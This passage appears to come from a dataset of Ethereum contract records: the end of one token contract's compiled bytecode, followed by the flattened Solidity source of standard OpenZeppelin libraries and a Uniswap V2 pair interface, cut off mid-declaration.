ffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112849190612bd4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f890612b74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136890612a94565b60405180910390fd5b600081116113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab90612b54565b60405180910390fd5b6002600a81905550600a600b819055506113cc61085f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561143a575061140a61085f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561188657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114e35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6114ec57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115975750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115ed5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116055750600f60179054906101000a900460ff165b156116b55760105481111561161957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061166457600080fd5b601e426116719190612d0a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117605750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117cc576002600a81905550600a600b819055505b60006117d7306106bb565b9050600f60159054906101000a900460ff161580156118445750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561185c5750600f60169054906101000a900460ff165b156118845761186a81611968565b600047905060008111156118825761188147611c62565b5b505b505b611891838383611d5d565b505050565b60008383111582906118de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d59190612a72565b60405180910390fd5b50600083856118ed9190612deb565b9050809150509392505050565b6000600854821115611941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193890612ab4565b60405180910390fd5b600061194b611d6d565b90506119608184611d9890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119f45781602001602082028036833780820191505090505b5090503081600081518110611a32577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ad457600080fd5b505afa158015611ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0c9190612550565b81600181518110611b46577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110c6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c11959493929190612bef565b600060405180830381600087803b158015611c2b57600080fd5b505af1158015611c3f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb2600284611d9890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cdd573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d2e600284611d9890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d59573d6000803e3d6000fd5b5050565b611d68838383611de2565b505050565b6000806000611d7a611fad565b91509150611d918183611d9890919063ffffffff16565b9250505090565b6000611dda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061200f565b905092915050565b600080600080600080611df487612072565b955095509550955095509550611e5286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120da90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3381612182565b611f3d848361223f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f9a9190612bd4565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611fe3683635c9adc5dea00000600854611d9890919063ffffffff16565b82101561200257600854683635c9adc5dea0000093509350505061200b565b81819350935050505b9091565b60008083118290612056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204d9190612a72565b60405180910390fd5b50600083856120659190612d60565b9050809150509392505050565b600080600080600080600080600061208f8a600a54600b54612279565b925092509250600061209f611d6d565b905060008060006120b28e87878761230f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061211c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611896565b905092915050565b60008082846121339190612d0a565b905083811015612178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216f90612af4565b60405180910390fd5b8091505092915050565b600061218c611d6d565b905060006121a3828461239890919063ffffffff16565b90506121f781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612254826008546120da90919063ffffffff16565b60088190555061226f8160095461212490919063ffffffff16565b6009819055505050565b6000806000806122a56064612297888a61239890919063ffffffff16565b611d9890919063ffffffff16565b905060006122cf60646122c1888b61239890919063ffffffff16565b611d9890919063ffffffff16565b905060006122f8826122ea858c6120da90919063ffffffff16565b6120da90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612328858961239890919063ffffffff16565b9050600061233f868961239890919063ffffffff16565b90506000612356878961239890919063ffffffff16565b9050600061237f8261237185876120da90919063ffffffff16565b6120da90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156123ab576000905061240d565b600082846123b99190612d91565b90508284826123c89190612d60565b14612408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ff90612b14565b60405180910390fd5b809150505b92915050565b600061242661242184612c89565b612c64565b9050808382526020820190508285602086028201111561244557600080fd5b60005b85811015612475578161245b888261247f565b845260208401935060208301925050600181019050612448565b5050509392505050565b60008135905061248e81613275565b92915050565b6000815190506124a381613275565b92915050565b600082601f8301126124ba57600080fd5b81356124ca848260208601612413565b91505092915050565b6000813590506124e28161328c565b92915050565b6000815190506124f78161328c565b92915050565b60008135905061250c816132a3565b92915050565b600081519050612521816132a3565b92915050565b60006020828403121561253957600080fd5b60006125478482850161247f565b91505092915050565b60006020828403121561256257600080fd5b600061257084828501612494565b91505092915050565b6000806040838503121561258c57600080fd5b600061259a8582860161247f565b92505060206125ab8582860161247f565b9150509250929050565b6000806000606084860312156125ca57600080fd5b60006125d88682870161247f565b93505060206125e98682870161247f565b92505060406125fa868287016124fd565b9150509250925092565b6000806040838503121561261757600080fd5b60006126258582860161247f565b9250506020612636858286016124fd565b9150509250929050565b60006020828403121561265257600080fd5b600082013567ffffffffffffffff81111561266c57600080fd5b612678848285016124a9565b91505092915050565b60006020828403121561269357600080fd5b60006126a1848285016124d3565b91505092915050565b6000602082840312156126bc57600080fd5b60006126ca848285016124e8565b91505092915050565b6000806000606084860312156126e857600080fd5b60006126f686828701612512565b935050602061270786828701612512565b925050604061271886828701612512565b9150509250925092565b600061272e838361273a565b60208301905092915050565b61274381612e1f565b82525050565b61275281612e1f565b82525050565b600061276382612cc5565b61276d8185612ce8565b935061277883612cb5565b8060005b838110156127a95781516127908882612722565b975061279b83612cdb565b92505060018101905061277c565b5085935050505092915050565b6127bf81612e31565b82525050565b6127ce81612e74565b82525050565b60006127df82612cd0565b6127e98185612cf9565b93506127f9818560208601612e86565b61280281612fc0565b840191505092915050565b600061281a602383612cf9565b915061282582612fd1565b604082019050919050565b600061283d602a83612cf9565b915061284882613020565b604082019050919050565b6000612860602283612cf9565b915061286b8261306f565b604082019050919050565b6000612883601b83612cf9565b915061288e826130be565b602082019050919050565b60006128a6602183612cf9565b91506128b1826130e7565b604082019050919050565b60006128c9602083612cf9565b91506128d482613136565b602082019050919050565b60006128ec602983612cf9565b91506128f78261315f565b604082019050919050565b600061290f602583612cf9565b915061291a826131ae565b604082019050919050565b6000612932602483612cf9565b915061293d826131fd565b604082019050919050565b6000612955601783612cf9565b91506129608261324c565b602082019050919050565b61297481612e5d565b82525050565b61298381612e67565b82525050565b600060208201905061299e6000830184612749565b92915050565b60006040820190506129b96000830185612749565b6129c66020830184612749565b9392505050565b60006040820190506129e26000830185612749565b6129ef602083018461296b565b9392505050565b600060c082019050612a0b6000830189612749565b612a18602083018861296b565b612a2560408301876127c5565b612a3260608301866127c5565b612a3f6080830185612749565b612a4c60a083018461296b565b979650505050505050565b6000602082019050612a6c60008301846127b6565b92915050565b60006020820190508181036000830152612a8c81846127d4565b905092915050565b60006020820190508181036000830152612aad8161280d565b9050919050565b60006020820190508181036000830152612acd81612830565b9050919050565b60006020820190508181036000830152612aed81612853565b9050919050565b60006020820190508181036000830152612b0d81612876565b9050919050565b60006020820190508181036000830152612b2d81612899565b9050919050565b60006020820190508181036000830152612b4d816128bc565b9050919050565b60006020820190508181036000830152612b6d816128df565b9050919050565b60006020820190508181036000830152612b8d81612902565b9050919050565b60006020820190508181036000830152612bad81612925565b9050919050565b60006020820190508181036000830152612bcd81612948565b9050919050565b6000602082019050612be9600083018461296b565b92915050565b600060a082019050612c04600083018861296b565b612c1160208301876127c5565b8181036040830152612c238186612758565b9050612c326060830185612749565b612c3f608083018461296b565b9695505050505050565b6000602082019050612c5e600083018461297a565b92915050565b6000612c6e612c7f565b9050612c7a8282612eb9565b919050565b6000604051905090565b600067ffffffffffffffff821115612ca457612ca3612f91565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1582612e5d565b9150612d2083612e5d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5557612d54612f33565b5b828201905092915050565b6000612d6b82612e5d565b9150612d7683612e5d565b925082612d8657612d85612f62565b5b828204905092915050565b6000612d9c82612e5d565b9150612da783612e5d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612de057612ddf612f33565b5b828202905092915050565b6000612df682612e5d565b9150612e0183612e5d565b925082821015612e1457612e13612f33565b5b828203905092915050565b6000612e2a82612e3d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7f82612e5d565b9050919050565b60005b83811015612ea4578082015181840152602081019050612e89565b83811115612eb3576000848401525b50505050565b612ec282612fc0565b810181811067ffffffffffffffff82111715612ee157612ee0612f91565b5b80604052505050565b6000612ef582612e5d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2857612f27612f33565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61327e81612e1f565b811461328957600080fd5b50565b61329581612e31565b81146132a057600080fd5b50565b6132ac81612e5d565b81146132b757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c70a9378328878f070400d22267f25d2a67d7f774a76cdc5eae82f289f06b4664736f6c63430008040033
[ 13, 5 ]
0xf261b678f3ac1eecab206825341a10ceb591c589
// Dependency file: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; // import "@openzeppelin/contracts/GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Dependency file: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint 